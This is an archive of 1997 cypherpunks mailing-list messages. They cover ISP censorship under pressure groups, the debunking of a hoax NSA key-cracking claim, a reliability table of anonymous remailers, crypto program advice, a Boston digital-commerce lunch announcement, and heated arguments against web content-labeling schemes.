include intimidating snail mail spams and phone calls by people
claiming to be associated with law enforcement, as well as late
night phone calls threatening bodily harm to ISP management and
their families.

The rantings of this individual and his similarly minded friends
can be found at...

         http://mavrick-bbs.com/cyranch/sewer2.htm
and      http://www.thecpac.com/net-safety.html

The latest organization to be attacked by Officer Friendly and
his contingent of jackbooted thugs is XtatiX.com, a small
provider which until recently had hosted a number of web
resources which CPAC didn't like.  The nature and content of
these web sites were clearly discussed with XtatiX before they
were chosen to host them, and assurances were given that no 
problem existed. 

XtatiX.com states explicitly on their home page, and I quote...

   "XtatiX supports the concept of an open Internet. Xtatix
    does not censor accounts or content in any form. We
    encourage our users to exercise sound and responsible
    judgement when creating their web pages."

   "We also understand that some internet sites may have
    content that some find objectionable. Software products
    exist which give the individual the ability to limit
    unwanted material. This software does not interfere with the
    rights of others to surf as they wish."

So one might think that anything legal and resonably tasteful
goes at XtatiX, right?  Well, that's the way it was until the
CPAC contingent hurled a few threats in their direction.

In response to the harrassment, XtatiX is now sending a letter to
web customers whose pages are, according to XtatiX, "too
controversial."

XtatiX says in part...

   "We regret to inform you that we can no longer host your
    website, due to many local and national pressures on us, to
    get rid" of sites of the nature of yours, and also a few
    more sites with other natures that could be considered
    controversial."

   "We sincerely apologize, because we _DO NOT_ like
    censorship, nor do we endorse its use. We have had to
    practice it of late, though, because of many law
    enforcement and other officials emailing us, and or calling
    us in regards to some of the sites we are now hosting."

   "Again, if it were based soley upon our choice, then we
    would not change our censorship policies, and would not have
    to do things such as these, which pain us very much. We
    would appreciate it very much if you would please copy the
    files you need to host your site off the server within 48
    hours, and delete the copies on the server."

   "This does not mean that we do not still want you on as an
    XtatiX customer, but we can no longer deal with as many
    hate mails, phone calls, and emails from law enforcement
    officials and users on other systems. Please bear with us."

Now XtatiX is certainly welcome to accept or turn away business
as they see fit, although it seems somewhat disingenuous of them
to loudly advertise their service as one that "does not censor
accounts or content in any form," while at the same time,
crawling all over themselves to get rid of customers they
consider "too controversial," based on harrassment orchestrated
by a single pressure group.

Now to some Cypherpunk issues this case illustrates...

"Information Wants To Be Free"

Our working model of information services has always been
comprised of three things.

First, a dynamic collection of information service providers with
complete discretion as to whom they choose to do business with.
Second, a Net which regards censorship as damage and routes
around it.  And third, market forces that ensure that any legal
information has a home where others may access it.  Providers
that censor lose customers, who give their money to providers who
don't.

The CPAC/XtatiX case study demonstrates another reality.

First, a dynamic collection of information service providers in a
mad race to see who can come in second to last when the awards
for "Enemy of the State" are handed out.  Second, a Net in which
almost nothing is multi-homed which cannot even regard damage as
damage and route around it.  And third, market forces which
ensure that censorship is frequent, silent, and never publicly
spoken of in policy statements.

Whether it's CPAC wanting to nuke all web sites containing the
word "boy," Sen. Swinestein wanting to nuke all web sites
containing the word "bomb," or Sen. Hatch wanting to nuke all web
sites containing the word "sex," the optimal strategy for service
providers has turned out to be to quietly remove any material
some squeeky wheel is uncomfortable with, keep proclaiming
themselves to be the strongest supporters of free speech in the
entire Net community, and stonewall when asked questions which
might suggest anything to the contrary.

This behavior of the Net mirrors the behavior of the other
so-called "free" market-driven media.  There are issues and
points of view you will never see discussed on the evening news,
or in Time and Newsweek.  There are books that disappear from
your local library and bookstores and are not replaced.

The Net is starting to look a lot more like just another
"self-regulated" media outlet, where the individual citizen has
access only through a company whose principals are well versed in
whose feathers must not be ruffled.

The CPAC/XtatiX dance is being repeated each and every day, with
providers like Tripod and Geocities, and with search engines
quietly removing Horsemen-related articles from their databases,
all while proudly displaying their Blue Ribbon Campaign icons for
Free Speech on the Net.

What's happening now is that a lot of sites are moving offshore,
but it probably won't be long before "The Attorney General's List
of Horseman-Related Offshore IPs" is dutifully prepared for
Congress each year, and Router-Blocked at our borders under
threat of criminal penalties.  "Information Laundering" will
undoubtedly become the Fifth Horseman shortly thereafter.

All of this represents a big shoe in the clockwork of
Crypto-Anarchy, and a problem needing a technological solution
post haste.  Suggestions and discussion are welcome.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 28 Jul 1997 11:51:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA leak (fwd)
In-Reply-To: <5rgfra$ro@abraham.cs.berkeley.edu>
Message-ID: <Pine.GSO.3.95.970727234050.19053B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Don't believe everything you see that comes through an anonymous remailer!

-Declan

> >---------- Forwarded message ----------
> >Date: 19 Jul 1997 17:56:51 -0000
> >From: Secret Squirrel <nobody@secret.squirrel.owl.de>
> >To: fight-censorship@vorlon.mit.edu
> >Subject: NSA leak
> >
> >WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
> >senior official at the super-secret National Security Agency was overheard
> >at a White House press conference concerning current bans on the export of
> >encryption technology saying, "It would not take any twelve times the age of
> >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> >like it."
> >
> >Observers at the press conference indicated that the senior official's
> >remarks were intended to be overheard by those standing nearby, who included
> >White House officials, reporters, and a troupe of girl scouts from Lundane,
> >Illinois.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 28 Jul 1997 08:47:36 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <19970727234600.3398.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: NSA leak (fwd)

Ian Goldberg <iang@cs.berkeley.edu> writes:
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
>    being extremely generous;

>                          (Actually, for all I know, terawatt power sources
>    may exist; that's out of my field.  Please let me know if this is the case.


Not within a few million miles of here, and they'd be hard to conceal.

A few GW is fairly easy, by several methods.

Terrestrial fusion is not a serious contender yet, and I doubt
it will be for a long time.



> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

> Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
> and say that the NSA guy was simply lying (or that the anecdote itself is
> mistaken).

I agree.  The 'something else' could be info about RNG flaws I suppose.
This guy couldn't be thinking about DES could he ?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frederick G.M. Roeber" <roeber@netscape.com>
Date: Mon, 28 Jul 1997 16:38:05 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <33DC5671.FFE641B7@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems that my latest build of Communicator regressed, and a bug
reappeared.  I edited the "newsgroup" line and turned it into a "to"
line to Ian.  Nevertheless, the message appeared here.  Sigh.

Damn, I hate Mondays.

-- 
Frederick G.M. Roeber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Mon, 28 Jul 1997 13:59:08 +0800
To: iang@cs.berkeley.edu
Subject: Re: NSA leak (fwd)
Message-ID: <199707280532.BAA03808@carl.cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

   Date: Sun, 27 Jul 1997 23:11:22 EST
   From: Ian Goldberg <iang@cs.berkeley.edu>

   Uh-huh.  Unless the Administration has granted a secret Executive Order
   repealing the Laws of Physics for the NSA, the above statement, if true,
   would imply one of the following things:

	[3 violations of physics as we know it]

I'm not saying that the posting was legit, but you can apply the same
thinking to the breaking of Enigma using 1940 technology.

The assumption which might not be valid is that 128 bits of key in RC4 or
RC2 (the popular export algorithms) is worth a full 128 bits.

 - Carl


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: mailcrypt-3.4

iQCVAwUBM9wu3FQXJENzYr45AQEcjQP+N0TJh91ciAoxWmIQdIRRfKJ6XA7UuTk5
bL/3LEJKJ+r3WmbmQGSozMIrMM/Dn6sWCuo3XYOQI+Mrj7VG327lXFi3NnnhyXZe
t4yV+zxVZbUqkB9Ms5BhUL7mOFeZ3T2C9jBlUg2gq5D3TxVBn6U9QWe3jnHbA8jr
jQ1pgN/nxi4=
=zFC5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Mon, 28 Jul 1997 17:33:16 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: <199707280920.CAA07789@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jul 27, 1997 at 11:46:00PM -0000, Secret Squirrel wrote:
> Subject: Re: NSA leak (fwd)
> 
> Ian Goldberg <iang@cs.berkeley.edu> writes:
> > 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
> >    being extremely generous;
> 
> >                          (Actually, for all I know, terawatt power sources
> >    may exist; that's out of my field.  Please let me know if this is the case.
> 
> 
> Not within a few million miles of here, and they'd be hard to conceal.
> 
> A few GW is fairly easy, by several methods.

Terawatts for a few microseconds is fairly standard technology, I 
believe.  Femtosecond laser pulses driven by *very* large capacitor 
banks... 

> Terrestrial fusion is not a serious contender yet, and I doubt
> it will be for a long time.

It's easy to generate lots of power through fusion.  The problem is 
confinement. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 28 Jul 1997 22:04:26 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707281350.GAA26934@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 28 Jul 97 6:49:34 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org              #*-**#*##-+    23:42  99.99%
nym      config@nym.alias.net             ######**-+##  1:09:39  99.97%
htuttle  h_tuttle@rigel.cyberpass.net            #*###      :42  99.96%
cracker  remailer@anon.efga.org           *+ -++++++-+    39:07  99.92%
hera     goddesshera@juno.com             +-----------  4:13:46  99.92%
weasel   config@weasel.owl.de             +-++++++++-   1:31:07  99.87%
squirrel mix@squirrel.owl.de              +-+++++-++-   1:30:29  99.86%
arrid    arrid@juno.com                   +--- *+*+++*    49:18  99.84%
winsock  winsock@rigel.cyberpass.net       .-+-------+  4:57:25  99.65%
cyber    alias@alias.cyberpass.net         ***+****-++    20:17  99.56%
mix      mixmaster@remail.obscura.com      ** -* -*-++  2:32:46  99.10%
reno     middleman@cyberpass.net           .-+ +  +*++  1:57:53  97.61%
replay   remailer@replay.com                 * ** *       32:46  96.23%
neva     remailer@neva.org                #-*    + +**    39:46  93.10%
jam      remailer@cypherpunks.ca          *        +**    50:05  90.34%
valdeez  valdeez@juno.com                 *.-- +----    4:14:27  89.14%
bureau42 remailer@bureau42.ml.org         *-----        3:34:59  28.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Jul 1997 19:48:29 +0800
To: cypherpunks@toad.com
Subject: House Committee Hearing on Money Laundering
Message-ID: <v03110715b0022b11505a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller@brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Sun, 27 Jul 1997 20:32:04 -0700
From: jmuller@brobeck.com (John D. Muller)
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  House Committee Hearing on Money Laundering

     For those with a strong stomach for testimony on the need to
     strenghten money laundering laws and extend know-your-customer
     requirements to non-banks, material from last week's hearings on money
     laundering and the drug trade by the House Judiciary Committee's
     Subcommittee on Crime are now on-line at
     http://www.house.gov/judiciary/364.htm

     John Muller
     jmuller@brobeck.com
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <rhayden@orion.means.net>
Date: Mon, 28 Jul 1997 21:15:09 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.96.970728080047.25589B-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



FYI:  I was only passing along information whcen I forwarded the original
message from fight-censorship. 

Contrary to the hate mail I'm getting, I am not an NSA spook nor am I an
agent for some other TLA.

Please knock off the mailbombs, it's rather childish and tackey.
 
=-=-=-=-=-=
Robert Hayden				rhayden@means.net
IP Network Administrator		(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 29 Jul 1997 15:59:54 +0800
To: Guillotine <guill@xmission.com>
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:24 PM 7/27/97 -0600, Guillotine wrote:
>I'm creating a new _text_ cryptography program.  

What do you mean by "text cryptography"?  You'll only accept text as input,
or you'll produce your output in ASCII, or you'll produce your output
as English-like words?  None of the common encryption algorithms treats
text input any differently that raw bits, and it's worth taking whatever
input you have and compressing it to reduce the amount of data the
encryption and transmission phases need to handle.  Producing printable
ASCII as an output format isn't a cryptography issue - it's just a 
simple reversable transform from a bunch of raw bits to printable,
and there's no excuse for inventing a new format rather than using
MIME encoding, uuencode, or btoa, unless you're doing something extremely
creative with Unicode...  

Producing output as English-like words is more interesting.
It's a steganography issue, not a cryptography issue, since you should
be doing the secure part first anyway, but it can be useful for
obscuring the fact that you're using crypto in a message.
The canonical reference is to Peter Wayner's Mimic Functions,
which let you model an arbitrary context-free grammar for output,
but you should also look around for "texto".  (The other canonical
reference is to "PHB", Dilbert's program that disguises the message
in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)

A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
which discusses most of the current algorithms and how they're used.
>The encryption algorithm,
>using a symmetrical is going to be as strong as legally allowed, 

There are no legal restrictions on cryptography strength in the US;
only restrictions on what's exportable, and even then you need permission. 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Jul 1997 21:18:28 +0800
To: cryptography@shipwright.com
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: <v0311071eb0023ef9fda1@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Mon, 28 Jul 1997 07:36:46 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Duncan Frissell and MarketEarth
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston
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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from this list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb-announce
Or, to subscribe,           write:  subscribe dcsb-announce
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Jul 1997 22:05:07 +0800
To: cypherpunks@toad.com
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <99yJae4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Guillotine <guill@xmission.com> writes:

> Greetings fellow Cyphers...

I guess that doesn't include me, but greetings anyway.

> I'm creating a new _text_ cryptography program.

Will a user be able to uuencode a binary file and pretend that it's text?

> The encryption algorithm,
> using a symmetrical is going to be as strong as legally allowed,

Better hurry - there are no legal restrictions in the U.S. on how hard you can
make it for internal use, but that may change soon.

> and after
> copyrighting the program,

It's copyrighted the moment you've written it. Some people spend $10
on registering their copyright with the Library of Congress. You can
even file your source code there.

> I'm going to release the source code and explain
> everything about it (since it can be reverse engineered anyways).

That's a commendable idea. However if your program will use reasonable
strng encryption, you should talk to a knowledgeable lawyer before
publishing it in a way which might be construed as "exporting" it.

> The
> reason I'm sending this e-mail to you is my request for more knowledge, and
> if you're like me, then you have an extreme thirst for knowledge!

You sound like you could use some.

[snip]
>                        I was going to call the program AlphaNumeric
> Encryption, but that says pretty much nothing...  I might just call it
> something like Cipher Pad (or Cypher Pad if nobody cares that I use
> "cypher") , since it's only for text encryption.  If you have a better idea
> for a name for this program, then please suggest it to me.

How about "One-Time Sanitary Pad"?

(Note to the list: I have been having little problems indeed (some of my
systems hacks for OS/2 no longer working under Microsquish) but they're
almost entirely fixed or rewritten now.  Microsquish sucks indeed. I'm
glad I have a backup OS/2 box.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 29 Jul 1997 00:21:22 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281559.KAA06339@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33DCB302.70F58811@cptech.org>, on 07/28/97 
   at 09:56 AM, James Love <love@cptech.org> said:

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most antilabeling
>people seem to be relying upon)?  

Well there happens to be a little anoying thing called the Constitution of
the Untied States of America. In there there is what is know as the First
Amendment. In this admendment there is a clause that says "Congress shall
pass no law ...".

It should be obvious even to you that RSACi or any other manditory
labeling system it blaitently unconstitutional in direct violation of the
First Amendment.

One can not preserve ones freedoms through comprimise. History has shown
us this time and time again.

I don't know how Tim feels on this but I am not willing to comprimise one
inch on this issue. The little Nazi censors need to be squashed like the
roaches that they are. Make no mistake about it the issue here is not
labeling but censorship. These groups pushing the labeling issue are
intrested in only one thing and that is gaining the power to control what
others can and cannot say. This is only a steeping stone in their grab for
power.

Back in the '30 we had a chance to stop the Nazi's and insted the world to
the easy route of comprimise and paied dearly for it latter on. The same
is true is true now. If we continue to back down and comprimise it will
only encourage them to bigger and bolder grabs for power.

This is the opening shots of the war for freedom of humanity. Either we
fight now for our freedoms or we shall die tomorrow in slavery.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 29 Jul 1997 00:45:37 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: <Pine.LNX.3.95.970728101758.2715B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 26 Jul 1997, Anonymous wrote:

>   What, exactly, is the problem?
>   Are these censorous motherfuckers of the opinion that protecting
> their children from these loudly proclaimed moral threats is not
> worth spending thirty or forty bucks on?
>   Are they saying that your and my rights and freedoms are worth
> less than the thirty or forty bucks it would take for them to
> purchase censoring software?
>   

Absolutely.  You know, I thought that this was all taken care
of when the supreme court ruled that CDA was overly broad and
didn't use the easiest mode of "protecting children".

The easiest mode is obviously shelling out the $20-$40 bucks
on babysitter software.  If parents are not willing to pay
a babysitter $20-$40 bucks a year to watch their children
while they go to the football game then they are guilty
of negligence.

I believe what we are really seeing is an attempt at corporate
welfare.  The censorship companies want us to rate ourselves so
they don't have to do the work.

I also think that the feds are using this as the first move
towards an Orwellian society where the "Policeman" is put
inside of us.

One last thing.  This whole concept of a RSACi approved
"news site" is so Orwellian that it boggles the mind.  It truly
demonstrates the arrogance with which the media treats the people.
They must think were really stupid.

